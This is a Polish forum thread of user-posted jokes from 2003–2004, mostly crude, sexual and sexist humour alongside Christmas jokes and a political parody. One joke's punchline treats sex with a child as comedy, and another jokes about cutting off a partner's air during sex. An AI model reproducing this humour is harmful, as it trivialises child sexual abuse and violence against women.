W wigilię Bożego Narodzenia Kowalscy słyszą u sąsiadów straszny hałas. Kowalska komentuje:
- Albo synek Nowaków dostał na gwiazdkę bębenek, albo Nowak zaczął śpiewać kolędy.


Na Biegunie Północnym spotykają się dwaj Święci Mikołajowie.
- Dlaczego jesteś taki smutny?
- Bo w tym roku znów wypadło na mnie, że mam roznosić prezenty w Polsce.
- Przecież Polacy to wspaniali ludzie!
- Możliwe, ale jak wrócę od nich, to znów przez cały rok będę miał kaca!


Przyjaciel pyta Nowaka:
- Jak minęły święta?
- Wspaniale! Żona serwowała mi same zagraniczne potrawy.
- Jakie?
- Barszcz ukraiński, fasolkę po bretońsku, pierogi ruskie i sznycel po wiedeńsku z kapustą włoską.

MArcin M. - 14-12-2003, 16:21

Święty Mikołaj przeciska się przez komin do dziecięcego pokoju, aby zostawić prezenty. Zamiast dziecka, zastaje śpiącą, nagą, ponętną blondynkę. Mówi do siebie:
-Jeśli wykorzystam okazję, to nie będę mógł wrócić do nieba. Jeśli zaś tego nie zrobię, to - Mikołaj spogląda na swoje spodnie - jak się przecisnę przez komin z powrotem na dach?


-Kochanie, co byś powiedział, gdybyśmy wzięli ślub w Boże Narodzenie?
-Daj spokój! Po co mamy sobie psuć święta?


Mały Giovani, który jest synem szefa sycylijskiej mafii pisze list do św. Mikołaja:
-"Mikołaju! Jak z pewnością wiesz, przez cały rok byłem grzeczny i sprawiłbyś mi wielką przyjemność przynosząc kolejkę elektryczną".
W tym momencie koło pokoju chłopca przechodzi ojciec, więc mały Giovani zaczyna pisać list od nowa:
"Mikołaju, byłem grzeczny, więc przynieś mi dwie kolejki elektryczne".
Ojciec chłopca wchodzi do środka z kilkoma mafiosami, więc Giovani zaczyna pisać list po raz trzeci:
-"Mikołaju, jeśli chcesz jeszcze kiedykolwiek zobaczyć swoją matkę..."


Ksiądz chodzący po kolędzie, dzwoni do drzwi mieszkania.
- Czy to ty, aniołku? - pyta kobiecy głos zza drzwi.
- Nie, ale jestem z tej samej firmy!


W wigilię chłop jedzie furmanką, a obok biegnie pies. Ponieważ koń biegnie leniwie, chłop bije go batem.
- Jeszcze raz mnie uderzysz, to będziesz szedł piechotą! - mówi koń.
- Pierwszy raz słyszę, żeby koń mówił! - dziwi się chłop.
- Ja też! - mówi pies.

MArcin M. - 14-12-2003, 17:55

Entuzjastycznie nastawiony do nowej pracy akwizytor - sprzedawca odkurzaczy zapukał do pierwszych drzwi. Otwiorzyła mu kobieta, lecz zanim zdążyła coś powiedzieć ten wbiegł do domu, wpadł do salonu i zaczął rozrzucać po całym dywanie rozmoknięte krowie łajna.
- Proszę pani, jeśli ten wspaniały odkurzacz w cudowny i genialny sposób nie posprząta tego, zobowiązuję się zjeść to wszystko - mówi podniecony.
- A keczup pan chce?
- Słucham???
- Bo właśnie się wprowadziłam i nie podpięłam jeszcze prądu.
:-D :-D :-D

MArcin M. - 14-12-2003, 17:56

Wielki, ogromny, wielopiętrowy supermarket, w którym kupicie wszystko. Szef przyjmuje do pracy nowego sprzedawcę, dając mu jeden dzień okresu próbnego żeby go przetestować.
Po zamknięciu wzywa szef nowego sprzedawcę do biura:
- No to ile dziś zrobił pan transakcji? - pyta sprzedawcę.
- Jedną, szefie.
- Co? Jedną?! Nasi sprzedawcy mają średnio od sześćdziesięciu do siedemdziesięciu transakcji w ciągu dnia! Co pan robił przez cały dzień? A właściwie to ile pan utargował?
- Trzysta osiemdziesiąt tysięcy dolarów.
Szefa zatkało.
- Trzy... sta osiem... dziesiąt tysięcy? Na Boga, co pan sprzedał?!
- No, na początku sprzedałem mały haczyk na ryby...
- Haczyk na ryby? Za trzysta osiemdziesiąt tysięcy?
- Potem przekonałem klienta żeby wziął jeszcze średni i duży haczyk. Następnie przekonałem go, że powinien wziąć jeszcze żyłkę. Sprzedałem mu trzy rodzaje: cienką, średnią i grubą. Wdaliśmy się w rozmowę. Spytałem gdzie będzie łowić. Powiedział, że na Missouri, dwadzieścia mil na północ. W związku z tym sprzedałem mu jeszcze porządną wiatrówkę, nieprzemakalne spodnie i rybackie gumowce, ponieważ tam mocno wieje. Przekonałem go, że na brzegu ryby nie biorą, no i tak poszliśmy wybrać łódź motorową. Spytałem go jakie ma auto i wydusiłem z niego, że dość małe aby odwieźć łódź, w związku z czym sprzedałem mu przyczepę.
- I wszystko to sprzedał pan człowiekowi, który przyszedł sobie kupić jeden, jedyny haczyk na ryby?!
- Nieee. On przyszedł z zamiarem kupienia podpasek dla swojej żony. Zaproponowałem mu, że skoro w weekend nici z seksu to może pojechałby przynajmniej na ryby...
:razz:

MArcin M. - 14-12-2003, 17:58

Policjant drogówki wrócił późno do domu i zastał żonę samą w łóżku, pościel rozmemłana, a żona jakoś dziwnie rozochocona.- Twój kochanek tu był? Gdzie się schował? Pod łóżkiem? - pyta i zagląda pod łóżko. - Pod łóżkiem go nie ma. W kuchni? - i zagląda do kuchni. - W kuchni go nie ma. W szafie? Z szafy wychyla się ręka z banknotem 200 zł. Policjant dyskretnym ruchem ogląda się i bierze banknot i mówi- W szafie też go nie ma. To gdzie się schował?
:lol:

bann - 14-12-2003, 18:14

- Czym rozni sie bzykanie zony od bzykania kochanki?
- Tym czym rozni sie swiniobicie od polowania :]

Kuba - 15-12-2003, 12:37

Słowa, które są TRUDNE do wypowiedzenia, gdy jesteś pijany:
* Bezsprzecznie.
* Innowacyjny.
* Przygotowawczy.
* Proletariacki.
Słowa, które są BARDZO TRUDNE do wypowiedzenia, gdy jesteś pijany:
* Konstytucjonalizm.
* Wszystkowiedzący.
* Rozszczepienie jaźni.
* Szczęśliwe zrządzenie losu.
Słowa, które są ABSOLUTNIE NIEMOZLIWE do wypowiedzenia, gdy jesteś
pijany:
* Dziękuję, nie mam ochoty na seks.
* Nie, dla mnie już piwa nie zamawiajcie.
* Przykro mi, ale nie jesteś w moim typie.
* Dobry wieczór, panie władzo. Śliczne dziś niebo, prawda?
* No nie, dajcie spokój! Przecież na pewno nikt nie chce, żebym
śpiewał.

ukusek - 15-12-2003, 18:06

Byłem szczęśliwy. Byłem tak szczęśliwy jak tylko mógłbym to sobie
wyobrazić.
Z moją dziewczyną spotykałem się ponad rok i w końcu zdecydowaliśmy
się wziąć ślub. Moi rodzice byli naprawdę zachwyceni i pomagali nam we
wszystkich przygotowaniach do naszego wspólnego życia, przyjaciele cieszyli się razem ze mną a moja dziewczyna... była jak spełnienie moich najśmielszych marzeń.Tylko jedna rzecz nie dawała mi spokoju - dręczyła i spędzała sen z powiek... jej młodsza siostra. Moja przyszła szwagierka miała dwadzieścia lat, ubierała wyzywające obcisłe mini i króciutkie bluzeczki, eksponujące krągłości jej młodego, pięknego ciała. Często kiedy siedziałem na fotelu w salonie, niby przypadkiem schylała
się po coś tak, że nawet nie przyglądając się, miałem przyjemny widok
na jej majteczki. To nie mógł być przypadek, nie zachowywała się tak nigdy kiedy w pobliżu był ktoś jeszcze.Któregoś dnia siostrzyczka mojej dziewczyny zadzwoniła do mnie i poprosiła abym po drodze do domu wstąpił do nich rzucić okiem na ślubne zaproszenia.Kiedy przyjechałem była sama w domu. Podeszła do mnie tak blisko, że czułem słodki zapach jej perfum i wyszeptała, że wprawdzie wkrótce będę żonaty,ale ona
pragnie mnie tak bardzo... i czuje, że nie potrafi tego uczucia pohamować...
i nawet nie chce. Powiedziała, że chce się ze mną kochać, tylko ten jeden raz, zanim wezmę ślub z jej siostrą i przysięgnę jej miłość i wierność póki śmierć nas nie rozłączy. Byłem w szoku i nie mogłem wykrztusić z siebie nawet jedenego słowa. Powiedziała "Idę do góry, do mojej sypialni. Jeśli chcesz, chodź do mnie i weź mnie, nie będę czekać długo" Stałem jak skamieniały i obserwowałem ją jak wchodziła po schodach kusząco poruszając biodrami. Kiedy była już na górze ściągnęła majteczki i rzuciła je w moją stronę. Stałem tak przez chwilę, po czym odwróciłem się i poszedłem do drzwi frontowych. Otworzyłem drzwi i wyszedłem z domu, prosto,w kierunku zaparkowanego przed domem samochodu. Mój przyszły teść stał przed domem - podszedł do mnie i ze łzami w oczach
uściskał mówiąc "Jesteśmy tacy szczęśliwi, że przeszedłeś naszą małą
próbę. Nie moglibyśmy marzyć o lepszym mężu dla naszej córeczki. Witaj w rodzinie!"
A morał z tej historii...



Zawsze trzymaj prezerwatywy w samochodzie

ukusek - 15-12-2003, 18:09

Przyszedł facet do burdelu
- Dzień dobry chcialbym zamówić sobie panienkę.
- Proszę tu jest cennik - mowi burdelmama.
- Ale ja nie mam tyle pieniędzy...
- Niech pan pokaże ile ma.
- ...
- Uuuu za tą forse to żadnej panienki pan nie dostanie jedynie może być pan Marian
- No jak ma być to niech będzie - odparl facet.
Zeszli do kotlowni do palacza Mariana
- Panie Marianie klient do pana!
Pan Marian odstawil wiadro z węglem szufle zdjąl spodnie i wypiął się w strone klienta. Klient spojrzał z niesmakiem na brudnego tlustego i zarośniętego Mariana próbuje się do niego dobrać ale nie bardzo wie jak.
Mówi więc:
- Ty może byś mi pomógł?
Na co Marian odwrócił głowę wypluł papierosa zatrzepotał rzęsami i powiedział ochrypłym basem:
- KOCHAM CIĘ...

Clio - 15-12-2003, 22:49

NA KONTROLE
Kiedy przyjdą przeszukać dom,
Ten, w który mieszkasz chłopie,
Kiedy sprawdzą twój CD-ROM,
I na płytach nagrane kopie,
Gdy pod drzwiami staną, i nocą
Nakazem w dłoni w drzwi załomocą -
Wiesz, o jaką im chodzi zbrodnię?
Ściągałeś pliki Przez dwa tygodnie.
Już przed twym domem setki są glin,
Dokąd uciekać? Chyba do Chin.
A wszystko przez to, że owe dane,
Wprost z Ameryki były pobrane,
Co czyni z ciebie kogoś gorszego,
Niźli mordercę wielokrotnego...
Kiedyś przyjdą na pewno pogrzebać ci w kompie,
może się zlitują, w co szczerze wątpię,
jak GROM w nocy przez dach się wkują,
płyty połamią, save'y skasują,
pójdzie się jebać w FIFIE kariera,
znów w NFS'a startujesz od zera,
choć w CALL OF DUTY wojnę wygrałeś,
choć wiele nocy przez to zarwałeś,
brak u nich skrupułów, litości nie mają,
za dyskutowanie zarobisz pałą,
nie pomogą płacze, ani lamenty
cały twój hardware w folii zapięty,
już biurko puste, już wiatrak nie huczy
może mnie w końcu to coś nauczy,
mijają godziny, mijają dni,
chyba oszaleje, wciąż komp mi się śni,
dzwonie na pały, może coś da się załatwić,
jakiś glina mówi: musze pana zmartwić,
tutaj jest Polska, tu cuda się dzieją,
kompa pan oddał przebranym złodziejom,
jaki jest morał mojej definicji?
profilaktycznie nie wpuszczaj policji!

Mace - 16-12-2003, 00:00
Temat postu: kawaly part two
Fajne te kawały :)

JAK USZCZESLIWIC KOBIETE
Musisz tylko byc:
1. Przyjacielem
2. Kompanem
3. Kochankiem
4. Bratem
5. Kims jak ojciec
6. Nauczycielem
7. Mentorem
8. Kucharzem
9. Ogrodnikiem
10. Ciesla
11. Kierowca
12. Inzynierem
13. Mechanikiem
14. Dekoratorem wnetrz
15. Stylista
16. Seksuologiem
17. Ginekologiem/poloznikiem
18. Psychologiem
19. Psychiatra
20. Terapeuta
21. Dobrym ojcem
22. Gentlemanem
23. Dobrze zorganizowany
24. Porzadny
25. Bardzo czysty
26. Atletyczny
27. Uczuciowy
28. Przyjazny
29. Uwazny
30. Ambitny
31. Dajacy sie lubic
32. Elokwentny
33. Odwazny
34. Bohaterski
35. Tworczy
36. Smialy
37. Pochlebny
38. W stanie zrobic wszystko
39. Zdecydowany
40. Inteligentny
41. Pomyslowy
42. Interesujacy
43. Pruderyjny
44. Cierpliwy
45. Uprzejmy
46. Namietny
47. Szanujacy
48. Slodki
49. Silny
50. Uzdolniony
51. Wspierajacy
52. Wspolczujacy
53. Tolerancyjny
54. Wyrozumialy
55. Kims, kto uwielbia zakupy
56. Kims, kto nie stwarza problemow
57. Kims, kto nigdy nie oglada sie za innymi kobietami
58. Bardzo bogaty

JEDNOCZESNIE MUSISZ ZWRACAC UWAGE NA TO, CZY NA PEWNO:
59. Nie jestes ani zazdrosny ani za malo zainteresowany
60. Dobrze dogadujesz sie z jej rodzina, ale jednoczesnie nie spedzasz
z nimi wiecej czasu niz z nia
61. Dajesz jej swobode, ale okazujesz zainteresowanie tym, co robi

PONAD WSZYSTKO WAZNE JEST, BY:
62. Nie zapominac dat:
* rocznic (wesele, zareczyny, pierwsza randka, itd.)
* urodzin

:mrgreen:

bann - 16-12-2003, 00:03

kobiecie potrzebne sa w zyciu 4 zwierzeta:
-tygrys w lozku
-norki w szafie
-jaguar w garazu
i jelen do placenia rachunkow

Mace - 16-12-2003, 00:07
Temat postu: hiehie
Rozmawia dwóch kolesi ok 40
- Ja podczas stosunku zakładam swojej kobiecie maske i regulator podłączony do butli z powietrzem- mówi pierwszy.
- Ale po co ?
- Po pierwsze, nie musze oglądac jej twarzy. Po drugie, nie przejmuję się, kiedy nie umyje zębów. A po trzecie, jak jej przykręcę dopływ powietrza, to wije sie jak szesnastka!

=========================
W barze toczy się rozmowa o brzydkich kobietach. Pewnien facet podnosi głowę znad kufla i mówi:
- Moja żona jest tak brzydka, że jak ostatnio postawiłem ją w sadzie zamiast stracha na wróble, to ptaki oddały zeszłoroczne czereśnie...
- A moja ma wymiary 90/60/89... - mówi inny.
- Super - klaszczą panowie - to przecież prawie idealne wymiary!
- Taaa... ale druga nóżka jest taka sama...
=================

Wg statystyk :
10% kobiet uprawiało sex w pierwszej godzinie swojej pierwszej randki
20% mężczyzn odbyło stosunek w jakimś zaskakującym miejscu
36% kobiet akceptuje nagość
45% kobiet preferuje ciemnych mężczyzn z niebieskimi oczami
45% kobiet ma doświadczenia z seksem analnym
70% kobiet preferuje poranny sex
80% mężczyzn nie uczestniczyło w relacjach homoseksualnych
90% kobiet lubi sex w lesie
99% kobiet nigdy nie kochało się w biurze

Wnioski :
Statystycznie rzecz biorąc, łatwiej o stosunek analny, wczesnym rankiem, z nieznajoma kobieta, w lesie - niż o udany sex w biurze pod koniec dnia .
Morał :
Nie zostawaj do późna w pracy .
Nic dobrego Ci się tam nie przydarzy... :mrgreen:

=======================
No na dobry początek myślę że wystarczy , to napewno nie koniec z mojej strony, ale czekam też na waszą inwencję

:mrgreen:

bann - 16-12-2003, 00:11

z serii swinskie:

Dwaaj turysci opalaja sie nago w gorach, spiekli sie niesamowice, zwlaszcza ze lezeli na brzuchach pieka ich tylki
Schodza nieszczesliwi troche nizej, i ida do gazdzinki do chalupy i prosza:
- gazdzinko a nie mielibyscie zsiadlego mleka dla spragnionych turystow?
tak goraco dzisiaj, dajcie troche!!
Gazdzina przynosi im po kubku zsiadlego mleka, i wrecza nie chcac zadnej zaplaty, goscie patrza po sobie i jeden kmowi:
- ale wiecie co gazdzinko, chcielibysmy tak troche wiecej i najlepiej w talerzach...
gazdzina patrzy na nich, ale bez zmruzenia okiem poszla do chalupy i wraca z 2 talerzami od zupy pelnymi zsiadlego mleka, turysci biora talerze i ida za stodole...
gazdzina wiedziona ciekawoscia sledzi ich dyskretnie... za stodola, kolesie - spodnie w dol i klap... tylkami w talerze i siedza...
gazdzina widzac to mysli:
- Moj Boze, tyle razy widzialam jak chlop sie spuszcza, ale nigdy jak tankuje...

mowilem ze swinskie, hahahaha :]

smiechu - 16-12-2003, 15:33

Pewien facet wybierał się na nurkowanie. Wstał raniutko, bardzo, bardzo wcześnie. Spakował sobie kanapki, flaszki, płetwy itd. Cały ten szajs zapakował do samochodu i wyjeżdża z garażu. Nagle zerwał się ostry i zimny wiatr, zaczął padać deszcz ze śniegiem, ogólnie pogoda pod psem. Facet zawrócił spowrotem do garażu i przesłuchał prognozę pogody - "w regionie pogoda fatalna, zimno, wietrznie, opady deszczu ze śniegiem". W tej sytuacji facet spasował. Wypakował graty, rozebrał się i wskoczył do łóżka. Przytulił się do żony i szepcze jej do ucha:
- Straszna pogoda na dworzu... brr...
Rozespana kobitka przysuwa się do niego i mruczy:
- Mhmm... a mój mąż idiota... jak zwykle nurkuje...

MArcin M. - 27-12-2003, 21:43

- Szczęśliwego nowego Roku!
- Zwariowałeś, w lutym?
- To już luty? Cholera, jeszcze nigdy nie wracałem tak późno z sylwestra...

MArcin M. - 27-12-2003, 21:49

Nauczycielka pierwszej klasy, Pani Magda miała ciągłe kłopoty z jednym z uczniów. W koncu spytała, "Jasiu, o co ci chodzi?" Jasiu odpowiedział, "jestem za mądry do pierwszej klasy. Moja siostra jest w trzeciej klasie a ja jestem mądrzejszy od niej! Myślę, że też powinienem
być w trzeciej klasie!" Pani Magda miała dosyć. Zabrała Jasia do gabinetu dyrektora. Kiedy jasiu czekał w sekretariacie, nauczycielka wyjaśniła dyrektorowi całą sytuację. Nauczyciel powiedział pani Magdzie ,że chciałby zrobić chłopcu test i jeśli nie odpowie na żadne pytanie będzie musiał wrócić do pierwszej klasy i nie sprawiać więcej żadnych kłopotów.
Nauczycielka się zgodziła.

Jasiowi wytłumaczono wszystkie warunki i zgodził się na
przeprowadzenie testu.

Dyrektor: "Ile jest 3 x 3?"
Jasiu: "9".
Dyro: "Ile jest 6 x 6?"
Jasiu: "36".

I Jasiu odpowiadał na każde pytanie, które wymyślał dyrektor uważając, że trzecioklasista powinien znać odpowiedzi. Dyrektor spojrzał na Panią Magdę i powiedział, "Myślę, że Jasiu może iść do trzeciej klasy." Pani Magda spytała czy i ona może zadać Jasiowi kilka pytań?,Zarówno dtrektor jak i Jasiu zgodzili się. (i się zaczeło )

Pani Magda spytała, "co krowa ma cztery, czego ja mam tylko dwa?
Jasiu, po chwili "Nogi."
Pani Magda: "Co ty masz w spodniach, a ja tego nie mam ?"
Jasiu:"Kieszenie."
Pani Magda: "Co zaczyna się na "K" kończy na "S", jest owłosione, zaokrąglone, smakowite i zawiera białawy płyn?"
Jasiu: "Kokos"
Pani Magda: "Co wchodzi twarde i różowe a wychodzi miękkie i klejące?"
Oczy dyra otworzyły się naprawdę szeroko ale zanim zdążył powstrzymać odpowiedź Jasia, Jasiu powiedział.
Jasiu: "Guma do żucia"
Pani Magda: "Co robi mężczyzna stojąc, kobieta siedząc, a pies na trzech nogach?"
Dyrektor ponownie otworzył szeroko oczy ale zanim zdążył się odezwać...
Jasiu: "Podaje dłoń".
Pani Magda: "Teraz zadam kilka pytań z serii "Kim jestem?", dobrze?"
Jasiu: "OK".
Pani Magda: "Wkładasz we mnie swój drąg. Przywiązujesz mnie. Jest mi mokro wcześniej niż tobie".
Jasiu: "Namiot"
Pani Magda: "Palec wchodzi we mnie. Bawisz się mną, kiedy się nudzisz. Dróżba zawsze ma mnie pierwszą".
Dyrektor patrzy niespokojnie i widać, że jest nieco spięty.
Jasiu: "Obrączka ślubna"
Pani Magda: "Mam różne rozmiary. Gdy nie czuję się dobrze, kapię. Kiedy mnie dmuchasz, czujesz się dobrze".
Jasiu: "Nos"
Pani Magda: "Mam twardy drążek. Mój szpic zagłębia się. Wchodzę z drżeniem".
Jasiu: "Strzała"

Dyrektor odetchnął z ulgą, "Wyślijcie Jasia od razu na studia! Ja sam na ostatnie dziesięć pytań źle odpowiedziałem!"
:razz:

Mace - 03-01-2004, 19:19

- Łociec, bede sie żynił. - Mówi młody gazda
- A z kim to synecku?
- A z tom Magdom od Poloków.
- Wiysz co synu?, z niom to ty sie niy mozesz łożynić, bo to twoja siostra jest.
Gazda mioł dużo pola i śwarny chłopok był to se znaloz nowom dziołche.
- Łociec bede sie żynił. - Mówi młody gazda
- A z kim to synecku?
- A z tom Hankom od Piecucha.
- Wiysz co synu?, nie wiym jak ci to pedzieć, ale z niom to ty tyz sie nie mozesz łożynić, bo to tyz twoja siostra jest. Gazda sie podłamał, siod pomyśloł i wymyślił. Na końcu wsi miyszko Andzia, tam łociec na pewno nie doszli. Ale i tym razem łociec mówi - To tyz twoja siostra jest.
Całkiem załamany gazda siod w izbie. Przychodzi matula:
- A cóz ci to synecku?
Gazda opowiedzioł matce co jak to było z dziołchami i łojcem.
Na to matula:
- A ni to sie nie przejmuj, przeca to nie twój łociec jest...

--------------------------------

Pogrzeb kardiologa
Zmarł znany kardiolog i urządzono mu bardzo uroczysty pogrzeb. Podczas ceremonii za trumną ustawione było ogromne serce, całe pokryte kwiatami. Kiedy skończyły się przemówienia i modlitwy, serce otworzyło się i trumna wjechała do środka. Następnie piękne serce się zamknęło i tak ciało doktora pozostało w nim na zawsze. W tym momencie ktoś z obecnych wybuchnął głośnym śmiechem. Wszystkie oczy zwróciły się na niego, więc powiedział:
- Bardzo przepraszam, ale wyobraziłem sobie właśnie swój pogrzeb. Jestem ginekologiem
---------------------------------------------

Idzie chłopak przez las, przez mokradła i spotyka na wpół żywą żabę zaopiekował się nią i doprowadził do zdrowia. Kiedy się rozstawali żaba mówi: za to że uratowałeś mi życie chciała bym ci się jakoś odwdzięczyć powiedz więc co chcesz a ja to sprawię.
Chłopak jednak mówi: nie ja to zrobiłem z dobrego serca i nie mogę niczego od Ciebie wziąć bo to by było wbrew mojemu sumieniu, porozmawiali o tym jeszcze przez chwilę i poszli każdy w swoją stronę.
Po 3 latach spotykaja się jednak młody mężczyzna poznaje żabę i mówi do niej: żaba ja wiem że wtedy po naszym spotkaniu ty maczałaś palce w moim życiu. No bo byłem ubogim człowiekiem a teraz jestem bogaczem, sam chorowałem a teraz jestem całkiem zdrowy, nie miałem dziewczyny a teraz mam piękną żonę i dwójkę dzieci ja wiem że ty przyłożyłaś do tego swoją rękę.
Na to żaba: nie naprawdę ja nie mam z tym nic wspólnego.
Jak to żaba nie ściemniaj ja wiem że mi pomogłaś.
Nie naprawdę nie kłamię.
Dobra, dobra ja i tak wiem swoje.
No dobrze pomogłam ci ale nie mogłam zachować się inaczej, byłeś dla mnie taki miły.
Dziękuję ci bardzo: powiędz żaba co ty chcesz teraz ode mnie a postaram ci się odwdzięczyć za to wszystko co dla mnie uczyniłaś.
Żaba po chwili namysłu mówi: wiesz w sumie jest jedna rzecz o jaką mogłabym cię prosić.
Wal śmiało żaba.
A więc: przeleć mnie.
Słucham?
Chcę abyś się ze mną kochał.
Ale żaba nie zrozum mnie źle ale ty jesteś taka mała a ja dużo większy i mógłbym ci zrobić krzywdę.
Niczym się nie przejmuj rób swoje.
Żaba ale naprawdę może coś innego zastanów się jeszcze?
Nie, zastanowiłam się dobrze rób swoje.
Nagle akcja i wydarzenia przenoszą się na salę sądu a żaba zamienia się w mała dziewczynkę.
Mężczyzna mówi: i to tak byo wysoki sądzie a nie jak mówi ta smarkul

Przeman - 13-01-2004, 08:47
Temat postu: przyjaźń polsko-amerykańska
Dryyyn, dryyyn ...
[Aleksander Kwasniewski] Jurek? Sorki, ze o tak poznej porze - nie spisz??
[George Bush] Mama??
[AK] Nie, nie - to ja - Olek.
[GB] Aaa ... Olek - siemanko! Co slychac moj rosyjski przyjacielu?
[AK] Eeee ... polski. Jest w porzadalu tylko zimno troche. Sluchaj
Jurek, dzwonie bo mam interes.
[GB] Go on Olek, co tylko chcesz! Ameryka nie zapomnina o przyjacielach!
[AK] No wiec Jurek, wiesz ... przyciskaja mnie o te wizy. Teraz jeszcze
te wprowadziliscie odciski i w ogole. Chodzi o to, ze moze moglbys cos z
tym zrobic?
[GB] Olek, buddy ja dla ciebie wszystko morda! Ale co ja tu moge? No
powiedz mi, co ja tu moge?
[AK] No nie wiem ... jestes prezydentem, moze da sie to jakos tak ... no
wiesz?
[GB] Prezydentem? Aaaa rzeczywiscie. No ale sam wiesz jak jest? Tu jest
senat - ja nie decyduje.
[AK] No tak ale moze moglbys jakos wplynac, w koncu pomagamy wam w Iraku.
[GB] Olek - don't worry. Jesli chodzi o ten Irak to rozlozymy to na raty
i dodamy do F16 - spokojnie to splacicie w 20 years.
[AK] Ale Jurek - jakie raty? Raty to maja byc za F16 a nie za Irak.
[GB] Hold on Olek - wezme ta umowe na moj computer. Wez ja w hand i
czytaj ze mna - zacznijmy od razu od tych malych letters na dole.
[AK] O w morde Jurek! Nie zauwazylem tego wczesniej. Ale zaraz - tu jest
napisane, ze w zamian za pomoc w Iraku zobowiazujemy sie do dobrowolnej
wplaty 20 mld dolarow dla rzadu USA!!!
[GB] Olek - morda ty moja! Wiesz ile byscie zaplacili za taki
advertisement w najlepszym pasmie reklamowym? Sluchaj bro, to jest interes,
na ktorym jeszcze zarobicie w przyszlosci! Bedzie cool!
[AK] Ja cie piernicze Jurek ale skad my wezmiemy tyle kasy!!??
[GB] My tu o wszystkim pomyslelismy. Niedlugo damy wam namiar na te
rakiety co sie teraz produkuja i co je niedlugo znajdziecie na desert w
Iraku. Tylko Olek - morda ty moja - nie robcie nothing na wlasna reke bo
znowu wykopiecie nie te co trzeba.
[AK] Ale Jurek po cholere nam te rakiety?
[GB] No tez prawda ... wlasciwie to nie wiem. W kazdym razie ktos je
musi wykopac. Jak juz je wykopiecie to wam umorzymy czesc tego dlugu i
wszystko bedzie git.
[AK] Cholera Jurek - ty to masz leb! Genialne! A swoja droga kiedy
wyslecie nam te F16?
[GB] Jeszcze troche time, Olek. Czekamy na pozwolenie Glownego Dyrektora
Muzem Wojska. Wiesz jak jest - w koncu zabytkowego obrazu tez ot tak nie
wywieziesz za border.
[AK] Eeee ... no tak ... Dobra Jurek - to ja bede konczyl bo dzwonie z
karty.
[GB] Nie ma za co Olek. My tez was love! Ameryka wam tego nie zapomni.
Peace! Zadzwon jeszcze kiedys moj rosyjski przyjacielu!
[AK] Eeeee ... polski. Siemanko Jurek.

marcinlisek - 14-01-2004, 20:42

Wraca dresiarz z Paryża i opowiada swojej żonie, co tam widział:
-"Wiesz Zocha, idę, kur*a, patrzę, a tu wielki plac!
-Patrzę na lewo...och*jeć można !!!
-Patrzę przed siebie...O żesz kur*a mac !!!
-Patrze na prawo...O ja cię pier*ole..."
Zocha zaczyna płakać.. Dres pyta:
- "Zocha, co Ci się, kur*a, stało ?
Ta odpowiada
- "O Boże, jak tam musi być pięknie... !!!"

marcinlisek - 16-01-2004, 15:40

Pani kazała na lekcję przygotować dzieciom historyjki z morałem. Historyjki mieli dzieciom rodzice opowiedzieć. Następnego dnia dzieci po kolei opowiadają:
Pierwsza jest Małgosia.
-Moja mamusia i tatuś hodują kury - na mięso. Kiedyś kupiliśmy dużo piskląt,
rodzice już liczyli ile zarobią, ale większość umarła.
- Dobrze Małgosiu a jaki z tego morał?
- Nie licz pieniędzy z kurczaków zanim nie dorosną. – tak powiedzieli rodzice
- Bardzo ładnie.
Następny Mareczek:
- Moi rodzice mają wylęgarnie kurcząt. Kiedyś kury zniosły dużo jaj,
rodzice już liczyli ile zarobią, ale z większości wykluły się koguty.
-Dobrze Mareczku a jaki z tego morał?
- Nie z każdego jajka wylęga się kura - tak powiedzieli rodzice.
- Bardzo ładnie.
No i wreszcie grande finale czyli prymas Jasio (pani łyka valium):
- Łociec to mnie tak pedział: Kiedyś dziadek Staszek w czasie wojny był cicho ciemnym. No i zrzucali go na spadochronie nad Polską. Miał przy sobie tylko mundur, sten'a, sto naboi, nóż i butelkę szkockiej whisky. 50 metrów nad ziemią zauważył że leci w środek niemieckiego garnizonu. Niemcy już go wypatrzyli, więc dziadek Staszek wychlał całą whisky na raz, żeby się nie stłukła, odpiął spadochron i spadł z 20tu metrów w sam środek niemieckiego garnizonu. I tu dawaj! Pandemonium! Dziadek Staszek pruje ze sten'a! Niemcy walą się na ziemię jak afgańskie domki! Juchy więcej niż na filmach z gubernatorem Arnoldem. Z 80ciu ubił i jak skończyły mu się pestki wyjął nóż i
kosi niemców jak Boryna zboze. Na 30tym klinga paszłaaaa, pozostałych dziadek zarąbał z buta i uciekł.
W klasie konsternacja. Pani, mimo valium, w spazmach, pyta się:
- Śliczna historyjka dziecko ale jaki morał?
- Też się taty pytałem a on na to:
"Nie wk*rwiaj dziadka Staszka jak se popije"

bann - 16-01-2004, 21:07

Byl rok 1943. Spory konwoj przemierzal wody polnocnego Atlantyku w drodze
do Murmanska. Byla jasna ksiezycowa noc.

Na mostku polskiego statku, kapitan wzywa bosmana i rzecze:

"Widzicie bosmanie ten slad trzy mile na prawej burcie? Wlasnie U-boot
strzelil torpede. Idziemy w ciasnym szyku bez mozliwosci manewru. Wedlug
moich obliczen, torpeda ta trafi nas za piec minut. Zejdzcie do zalogi
i przygotujcie marynarzy do opuszczenia statku. Nie ma dla nas ratunku."

Bosman nie dyskutujac czym predzej ruszyl w glab parowca by wykonac rozkaz.

Ale ze byl osobnikiem nie pozbawionym humoru, a przy tym chlop jak niedzwiedz
postanowil obrocic cala sprawe w zart.

Wszedl do pomieszczen zalogi, zebral marynarzy i rzecze:

"Widzicie chlopcy ten stolek tutaj? Ja zaraz pier....ne w niego czlonkiem
to caly statek w drebiezgi pojdzie."

Marynarze, acz doskonale wiedzieli o mitycznej wrecz sile bosmana, tym razem
wybuchneli smiechem, kiwajac glowami z niedowierzaniem.

Rozezlil sie bosman okrutnie i jak nie wrzasnie: "to sie zalozcie, gnojki jedne
jak zescie tacy pewni, a w miedzyczasie zakladac kamizelki ratunkowe."

Rozweseleni marynarze zaczeli zbierac pule zakladu, zakladajac przy okazji
kapoki. Bosman odczekal chwile, spojrzal na zegarek, nonszalanckim ruchem
wyciagnal 'narzedzie', spojrzal pogardliwie wokolo i WHAAAAAAM!

Statek poszedl w drzazgi! Posrod rozbitkow, ktorzy uszli z zyciem, byl bosman
i kapitan. W pewnym momencie podplywa do bosmana kapitan, caly szary z prze-
razenia.

"Na Boga, bosmanie, co sie stalo? Torpeda minela statek za rufa!!!"

bann - 17-01-2004, 15:48

Początki motoryzacji.
Hrabia ze służącym jadą automobilem.
Wyprzedza ich bryczka zaprzężona w 4 konie.
- Janie dorzuć węgla. Spójrzmy śmierci w oczy..

bann - 17-01-2004, 17:53

